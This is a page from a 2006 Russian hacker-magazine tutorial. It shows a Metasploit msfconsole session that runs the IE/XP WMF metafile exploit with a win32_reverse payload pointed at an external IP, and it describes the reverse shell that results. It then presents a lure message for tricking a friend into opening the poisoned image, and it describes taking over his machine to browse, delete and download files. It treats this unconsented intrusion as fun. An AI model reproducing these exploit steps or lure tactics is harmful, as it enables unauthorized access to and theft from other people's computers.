Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #86, ФЕВРАЛЬ 2006 г.

Метавеселье на практике

etoo

Хакер, номер #086, стр. 086-074-2


начинаем термояд

Основная программа, с которой я буду работать, называется msfconsole. Как и все остальное, она написана на перле. Запускаю программу:

./msfconsole

Передо мной появляется своеобразная командная строка, дальнейший диалог с которой выглядит следующим образом:

msf > use ie_xp_pfv_metafile

msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse

PAYLOAD -> win32_reverse

msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 218.10.30.191

LHOST -> 218.10.30.191

msf ie_xp_pfv_metafile(win32_reverse) > exploit

[*] Starting Reverse Handler.

[*] Waiting for connections to http://0.0.0.0:8080/anything.wmf

Первой строчкой я указываю на то, какой эксплойт я собираюсь использовать — ie_xp_pfv_metafile. Затем определяю, какой шелл-код я хочу выполнить. В базе с шелл-кодами на www.metasploit.com для win32 есть целая гора шел-кодов и описаний к ним. Я использую win32_reverse: шелл-код выполнит cmd.exe, подключится к моему серверу и организует пайп с командной оболочкой Windows. Чтобы определить в шелл-коде, куда нужно подключаться, я устанавливаю обязательный параметр LHOST в 218.10.30.191. Есть еще параметр LPORT, который указывает номер tcp-порта, куда будет подключаться шелл-код. Но меня устраивает и значение по умолчанию (4321). Следует отметить, что сам эксплойт ie_xp_pfv_metafile может ловить эти обратные соединения, поэтому нет нужды поднимать netcat.

После того как все обязательные параметры шелл-кода определены, я набиваю самую приятную в мире команду exploit, после чего сплоит сообщает, что он поднял локальный web-сервер на 8080 порту и ждет, пока кто-нибудь скачает с него файл anything.wmf. Как ты понимаешь, адрес 0.0.0.0 указывает на то, что перловый скрипт получает все доступные в системе интерфейсы. Например, в моем случае ядовитый веб-сервер висел на 218.10.30.191:8080. 218.10.30.191 — адрес внешней сетевой карточки. Время подсунуть ядовитую ссылку кому-нибудь из приятелей.

подсовываем ссылку

- Слушай, я охреневаю. Смотри какая штука: http://218.10.30.191/anything.wmf

Одной этой фразы хватит, чтобы приятель Алеша мигом нажал на ссылку. Злобная картинка скачается к нему на машину и откроется стандартным просмотрщиком в XP. Как раз в этот момент его процессор начинает выполнять мои инструкции, которые реализованы в шелл-коде. Вот уже первый байтик срывается с его модема и летит к моему серверу: устанавливается соединение с cmd.exe и я получаю полный доступ к его системе. Вернее, пайп с cmd.exe. Можно посмотреть, какие файлы находятся у него на рабочем стале. Удалить ненужное. Подключиться к ftp-серверу и скачать интересное. Наконец создать на рабочем столе 1000 текстовых файлов со следующим содержимым: Hello guy! Happy new year! Ha-ha! Greets to Xakep magazine, God and V. Putin!.

Назад на стр. 086-074-1  Содержание  Вперед на стр. 086-074-3